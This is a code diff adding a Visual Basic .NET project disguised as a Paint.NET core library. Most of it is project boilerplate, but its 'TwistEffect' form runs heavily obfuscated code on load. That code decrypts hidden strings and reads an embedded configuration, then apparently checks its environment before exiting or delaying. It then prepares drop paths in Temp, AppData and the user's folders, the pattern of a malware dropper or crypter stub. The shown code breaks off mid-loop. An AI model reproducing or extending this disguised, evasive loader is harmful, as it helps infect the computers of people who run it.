+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>
@@ -0,0 +1,73 @@
+'------------------------------------------------------------------------------
+' <auto-generated>
+'     This code was generated by a tool.
+'     Runtime Version:4.0.30319.34014
+'
+'     Changes to this file may cause incorrect behavior and will be lost if
+'     the code is regenerated.
+' </auto-generated>
+'------------------------------------------------------------------------------
+
+Option Strict On
+Option Explicit On
+
+
+Namespace My
+
+    <Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
+     Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0"), _
+     Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
+    Partial Friend NotInheritable Class MySettings
+        Inherits Global.System.Configuration.ApplicationSettingsBase
+
+        Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings)
+
+#Region "My.Settings Auto-Save Functionality"
+#If _MyType = "WindowsForms" Then
+        Private Shared addedHandler As Boolean
+
+        Private Shared addedHandlerLockObject As New Object
+
+        <Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
+        Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
+            If My.Application.SaveMySettingsOnExit Then
+                My.Settings.Save()
+            End If
+        End Sub
+#End If
+#End Region
+
+        Public Shared ReadOnly Property [Default]() As MySettings
+            Get
+
+#If _MyType = "WindowsForms" Then
+                   If Not addedHandler Then
+                        SyncLock addedHandlerLockObject
+                            If Not addedHandler Then
+                                AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
+                                addedHandler = True
+                            End If
+                        End SyncLock
+                    End If
+#End If
+                Return defaultInstance
+            End Get
+        End Property
+    End Class
+End Namespace
+
+Namespace My
+    
+    <Global.Microsoft.VisualBasic.HideModuleNameAttribute(),  _
+     Global.System.Diagnostics.DebuggerNonUserCodeAttribute(),  _
+     Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()>  _
+    Friend Module MySettingsProperty
+        
+        <Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")>  _
+        Friend ReadOnly Property Settings() As Global.OSD.My.MySettings
+            Get
+                Return Global.OSD.My.MySettings.Default
+            End Get
+        End Property
+    End Module
+End Namespace
@@ -0,0 +1,7 @@
+<?xml version='1.0' encoding='utf-8'?>
+<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
+  <Profiles>
+    <Profile Name="(Default)" />
+  </Profiles>
+  <Settings />
+</SettingsFile>
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
+  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
+  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
+    <security>
+      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
+        <!-- Opciones del manifiesto de Control de cuentas de usuario
+             Si desea cambiar el nivel de Control de cuentas de usuario de Windows, reemplace el 
+             nodo requestedExecutionLevel por alguno de los siguientes.
+
+        <requestedExecutionLevel  level="asInvoker" uiAccess="false" />
+        <requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />
+        <requestedExecutionLevel  level="highestAvailable" uiAccess="false" />
+
+            La especificación del nodo requestedExecutionLevel deshabilitará la virtualización de archivos y del Registro.
+            Si desea usar la virtualización de archivos y del Registro para la compatibilidad 
+            con versiones anteriores, elimine el nodo requestedExecutionLevel.
+        -->
+        <requestedExecutionLevel level="asInvoker" uiAccess="false" />
+      </requestedPrivileges>
+    </security>
+  </trustInfo>
+
+  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
+    <application>
+      <!-- Lista de todas las versiones de Windows con las que esta aplicación está diseñada para funcionar. 
+      Windows seleccionará automáticamente el entorno de mayor compatibilidad.-->
+
+      <!-- Si la aplicación está diseñada para funcionar con Windows Vista, quite los comentarios del siguiente nodo supportedOS-->
+      <!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>-->
+
+      <!-- Si la aplicación está diseñada para funcionar con Windows 7, quite los comentarios del siguiente nodo supportedOS-->
+      <!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>-->
+
+      <!-- Si la aplicación está diseñada para funcionar con Windows 8, quite los comentarios del siguiente nodo supportedOS-->
+      <!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>-->
+
+      <!-- Si la aplicación está diseñada para funcionar con Windows 8.1, quite los comentarios del siguiente nodo supportedOS-->
+      <!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>-->
+
+    </application>
+  </compatibility>
+
+  <!-- Habilitar los temas para los controles y cuadros de diálogo comunes de Windows (Windows XP y versiones posteriores) -->
+  <!-- <dependency>
+    <dependentAssembly>
+      <assemblyIdentity
+          type="win32"
+          name="Microsoft.Windows.Common-Controls"
+          version="6.0.0.0"
+          processorArchitecture="*"
+          publicKeyToken="6595b64144ccf1df"
+          language="*"
+        />
+    </dependentAssembly>
+  </dependency>-->
+
+</asmv1:assembly>
@@ -0,0 +1,183 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{E34E00A1-BFA9-423B-94EA-62B2361532A7}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <StartupObject>OSD.My.MyApplication</StartupObject>
+    <RootNamespace>OSD</RootNamespace>
+    <AssemblyName>PaintDotNet.Core.dll</AssemblyName>
+    <FileAlignment>512</FileAlignment>
+    <MyType>WindowsForms</MyType>
+    <TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
+    <IsWebBootstrapper>false</IsWebBootstrapper>
+    <PublishUrl>publicar\</PublishUrl>
+    <Install>true</Install>
+    <InstallFrom>Disk</InstallFrom>
+    <UpdateEnabled>false</UpdateEnabled>
+    <UpdateMode>Foreground</UpdateMode>
+    <UpdateInterval>7</UpdateInterval>
+    <UpdateIntervalUnits>Days</UpdateIntervalUnits>
+    <UpdatePeriodically>false</UpdatePeriodically>
+    <UpdateRequired>false</UpdateRequired>
+    <MapFileExtensions>true</MapFileExtensions>
+    <ApplicationRevision>0</ApplicationRevision>
+    <ApplicationVersion>1.0.0.%2a</ApplicationVersion>
+    <UseApplicationTrust>false</UseApplicationTrust>
+    <BootstrapperEnabled>true</BootstrapperEnabled>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <DefineDebug>true</DefineDebug>
+    <DefineTrace>true</DefineTrace>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DocumentationFile>PaintDotNet.Core.dll.xml</DocumentationFile>
+    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <DefineDebug>false</DefineDebug>
+    <DefineTrace>true</DefineTrace>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DocumentationFile>PaintDotNet.Core.dll.xml</DocumentationFile>
+    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+  </PropertyGroup>
+  <PropertyGroup>
+    <OptionExplicit>On</OptionExplicit>
+  </PropertyGroup>
+  <PropertyGroup>
+    <OptionCompare>Binary</OptionCompare>
+  </PropertyGroup>
+  <PropertyGroup>
+    <OptionStrict>Off</OptionStrict>
+  </PropertyGroup>
+  <PropertyGroup>
+    <OptionInfer>On</OptionInfer>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
+    <DebugSymbols>true</DebugSymbols>
+    <DefineDebug>true</DefineDebug>
+    <DefineTrace>true</DefineTrace>
+    <OutputPath>bin\x86\Debug\</OutputPath>
+    <DocumentationFile>PaintDotNet.Core.dll.xml</DocumentationFile>
+    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+    <DebugType>full</DebugType>
+    <PlatformTarget>x86</PlatformTarget>
+    <CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
+    <DefineTrace>true</DefineTrace>
+    <OutputPath>bin\x86\Release\</OutputPath>
+    <DocumentationFile>PaintDotNet.Core.dll.xml</DocumentationFile>
+    <Optimize>true</Optimize>
+    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
+    <DebugType>pdbonly</DebugType>
+    <PlatformTarget>x86</PlatformTarget>
+    <CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
+  </PropertyGroup>
+  <PropertyGroup>
+    <ApplicationIcon>installer.ico</ApplicationIcon>
+  </PropertyGroup>
+  <PropertyGroup>
+    <ApplicationManifest>My Project\app.manifest</ApplicationManifest>
+  </PropertyGroup>
+  <PropertyGroup>
+    <SignManifests>false</SignManifests>
+  </PropertyGroup>
+  <PropertyGroup>
+    <SignAssembly>false</SignAssembly>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Import Include="Microsoft.VisualBasic" />
+    <Import Include="System" />
+    <Import Include="System.Collections" />
+    <Import Include="System.Collections.Generic" />
+    <Import Include="System.Drawing" />
+    <Import Include="System.Diagnostics" />
+    <Import Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="ApplicationEvents.vb" />
+    <Compile Include="тЧиътвинкор.vb" />
+    <Compile Include="TwistEffect.vb">
+      <SubType>Form</SubType>
+    </Compile>
+    <Compile Include="TwistEffect.Designer.vb">
+      <DependentUpon>TwistEffect.vb</DependentUpon>
+      <SubType>Form</SubType>
+    </Compile>
+    <Compile Include="My Project\AssemblyInfo.vb" />
+    <Compile Include="My Project\Application.Designer.vb">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Application.myapp</DependentUpon>
+    </Compile>
+    <Compile Include="My Project\Resources.Designer.vb">
+      <AutoGen>True</AutoGen>
+      <DesignTime>True</DesignTime>
+      <DependentUpon>Resources.resx</DependentUpon>
+    </Compile>
+    <Compile Include="My Project\Settings.Designer.vb">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Settings.settings</DependentUpon>
+      <DesignTimeSharedInput>True</DesignTimeSharedInput>
+    </Compile>
+    <Compile Include="EffectEnvironmentParameters.vb" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="TwistEffect.resx">
+      <DependentUpon>TwistEffect.vb</DependentUpon>
+    </EmbeddedResource>
+    <EmbeddedResource Include="My Project\Resources.resx">
+      <Generator>VbMyResourcesResXFileCodeGenerator</Generator>
+      <LastGenOutput>Resources.Designer.vb</LastGenOutput>
+      <CustomToolNamespace>My.Resources</CustomToolNamespace>
+      <SubType>Designer</SubType>
+    </EmbeddedResource>
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="My Project\app.manifest" />
+    <None Include="My Project\Application.myapp">
+      <Generator>MyApplicationCodeGenerator</Generator>
+      <LastGenOutput>Application.Designer.vb</LastGenOutput>
+    </None>
+    <None Include="My Project\Settings.settings">
+      <Generator>SettingsSingleFileGenerator</Generator>
+      <CustomToolNamespace>My</CustomToolNamespace>
+      <LastGenOutput>Settings.Designer.vb</LastGenOutput>
+    </None>
+  </ItemGroup>
+  <ItemGroup>
+    <BootstrapperPackage Include="Microsoft.Net.Client.3.5">
+      <Visible>False</Visible>
+      <ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
+      <Install>false</Install>
+    </BootstrapperPackage>
+    <BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
+      <Visible>False</Visible>
+      <ProductName>.NET Framework 3.5 SP1</ProductName>
+      <Install>true</Install>
+    </BootstrapperPackage>
+  </ItemGroup>
+  <ItemGroup>
+    <Content Include="installer.ico" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+</Project>
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <PublishUrlHistory>publicar\</PublishUrlHistory>
+    <InstallUrlHistory />
+    <SupportUrlHistory />
+    <UpdateUrlHistory />
+    <BootstrapperUrlHistory />
+    <ErrorReportUrlHistory />
+    <FallbackCulture>es-ES</FallbackCulture>
+    <VerifyUploadedFiles>false</VerifyUploadedFiles>
+  </PropertyGroup>
+</Project>
@@ -0,0 +1,53 @@
+<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
+Partial Class TwistEffect
+    Inherits System.Windows.Forms.Form
+
+    'Form reemplaza a Dispose para limpiar la lista de componentes.
+    <System.Diagnostics.DebuggerNonUserCode()> _
+    Protected Overrides Sub Dispose(ByVal disposing As Boolean)
+        Try
+            If disposing AndAlso components IsNot Nothing Then
+                components.Dispose()
+            End If
+        Finally
+            MyBase.Dispose(disposing)
+        End Try
+    End Sub
+
+    'Requerido por el Diseñador de Windows Forms
+    Private components As System.ComponentModel.IContainer
+
+    'NOTA: el Diseñador de Windows Forms necesita el siguiente procedimiento
+    'Se puede modificar usando el Diseñador de Windows Forms.  
+    'No lo modifique con el editor de código.
+    <System.Diagnostics.DebuggerStepThrough()> _
+    Private Sub InitializeComponent()
+        Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(TwistEffect))
+        Me.SuspendLayout()
+        '
+        'TwistEffect
+        '
+        Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
+        Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
+        Me.AutoSize = True
+        Me.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
+        Me.AutoValidate = System.Windows.Forms.AutoValidate.Disable
+        Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image)
+        Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center
+        Me.CausesValidation = False
+        Me.ClientSize = New System.Drawing.Size(1012, 582)
+        Me.ControlBox = False
+        Me.Cursor = System.Windows.Forms.Cursors.Cross
+        Me.DoubleBuffered = True
+        Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow
+        Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
+        Me.MaximizeBox = False
+        Me.Name = "TwistEffect"
+        Me.ShowIcon = False
+        Me.ShowInTaskbar = False
+        Me.Text = "Core"
+        Me.ResumeLayout(False)
+
+    End Sub
+
+End Class
@@ -0,0 +1,107 @@
+Imports System.Text
+
+Public Class TwistEffect
+
+    Private Sub TwistEffect_Load(sender As Object, e As EventArgs) Handles MyBase.Load
+        Try
+            Dim zÞzæzzææÞÞÞææÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄµ¸", "›")
+            Dim zæzzææzæææÞÞÞæ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄÄµ¸", "›")
+            Dim ÞÞzzæzÞzzzzæzÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄÄÄµ¸", "›")
+            Dim zzzææÞÞææzæzææ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µ´´´µ¸", "›")
+            Dim zæzzÞzÞzææÞÞÞÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("µºººµ", "›")
+            Dim zzzzzæzzzzzæÞÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("µççççµ", "›")
+            Dim zÞææzÞzÞæÞæzzæ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄÄÄÄµ¸", "›")
+            Dim ÞÞæzæÞÞÞÞÞzzzÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µ´´´´µ¸", "›")
+            Dim a8he9NXYRfIg8i5obqDureJNUwDguxU9xp53ZH8xrYBKKfZGRn As String = ""
+            Dim P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9 As String = ""
+            Dim ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC() As String
+            Dim ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv() As String
+            Dim joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC() As String
+            Dim o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif() As String
+            Dim jRZV9gkcBXIoJMXFmrbaUrNC3CctuyMd2zZcVPyhhmFsPDR8Uo As String = ""
+            Dim WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9 As String = ""
+            Dim otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g As String = ""
+            Dim U9jgI4BxsP As String = ""
+            Dim zz0Opm9aD3KPlWg5h8vZujbCC As Integer = 0
+            Dim WZWnLaJ9RDxsPw29Qc56f3jayt4Jvp5zwwdtjKTd42X8f0bwTE() As Byte
+
+            a8he9NXYRfIg8i5obqDureJNUwDguxU9xp53ZH8xrYBKKfZGRn = rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ(qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg)
+            ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC = Split(a8he9NXYRfIg8i5obqDureJNUwDguxU9xp53ZH8xrYBKKfZGRn, zÞzæzzææÞÞÞææÞ)
+
+            U9jgI4BxsP = ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(2)
+            zz0Opm9aD3KPlWg5h8vZujbCC = CInt(ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(3))
+
+            If zz0Opm9aD3KPlWg5h8vZujbCC = 1 Then P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9 = t7RisfnOoQSCcVbhemIsaxxlDmNgsuBK48kKZrEMYp123(ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(1), U9jgI4BxsP)
+            If zz0Opm9aD3KPlWg5h8vZujbCC = 2 Then P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9 = VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(1), U9jgI4BxsP)
+
+            jRZV9gkcBXIoJMXFmrbaUrNC3CctuyMd2zZcVPyhhmFsPDR8Uo = Split(P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9, zÞzæzzææÞÞÞææÞ)(0)
+            WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9 = Split(P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9, zÞzæzzææÞÞÞææÞ)(1)
+            otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g = Split(P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9, zÞzæzzææÞÞÞææÞ)(2)
+
+            ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv = Split(jRZV9gkcBXIoJMXFmrbaUrNC3CctuyMd2zZcVPyhhmFsPDR8Uo, zæzzææzæææÞÞÞæ)
+            joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC = Split(WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9, ÞÞzzæzÞzzzzæzÞ)
+            o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif = Split(otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g, zÞææzÞzÞæÞæzzæ)
+
+            If CBool(ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(1)) = True And WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv() = True Then End
+            If ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(2) <> SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("«", "›") Then Call lcmJhcMQPP4JLBXmtr7CNOzV0LzytbeQMB9xr5zUXvcag(CDbl(ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(2)))
+            WZWnLaJ9RDxsPw29Qc56f3jayt4Jvp5zwwdtjKTd42X8f0bwTE = Encoding.Default.GetBytes(ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(0))
+
+            If WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9 <> SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÔÄßÚÏÚ", "›") Then
+                Dim ØvÆØ8œFœQV As String = joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC(1)
+                Select Case (ØvÆØ8œFœQV)
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Ïþöë¾", "›")
+                        ØvÆØ8œFœQV = tw4OgvRXFjasuS9nwrSun6F9CQMa0U5DPj9aQfwKc57zr & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Úëëßúïú¾", "›")
+                        ØvÆØ8œFœQV = kWaXctCkG1M87a2TzGIa13Q0s5QC4PRZVUWcga2HcP45k & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾ÎèþéËéôýò÷þ¾", "›")
+                        ØvÆØ8œFœQV = de1CUxTd38qMOK9wgwBvvY3gghGRIoTxzarNJDsE4zLNQ & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                    Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Öâßôøîöþõïè¾", "›")
+                        ØvÆØ8œFœQV = KJm0d156fyrMEaWwNO0K3bfZ9J5BkICgwvjhYT6nOBhio & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                    Case Else
+                        ØvÆØ8œFœQV = wmqTQ2lC3eYMxjBcqF2OLjzOk3NLk6r1NhZcYSvEmvHME & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "›")
+                End Select
+                Dim GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf() As String = Split(joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC(0), zzzææÞÞææzæzææ)
+                For i = 0 To (GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf.Length - 1)
+                    If GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf(i) <> "" Then
+                        Dim Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ() As String = Split(GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf(i), zæzzÞzÞzææÞÞÞÞ)
+                        Dim ØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆ As String = Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ(0)
+                        Dim NØ1Ø1ÆØMYySaÆAœÆœÆÆÆØœhiRQØ0œcÆœœkÆdHØn0zeœhZP8ÆÆœ As String = ØvÆØ8œFœQV & mbqu5dWtJVw7zOZZc6G716lpzvC3S2WF8MD7Mhv5uhT8I(6, False) & Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ(1)
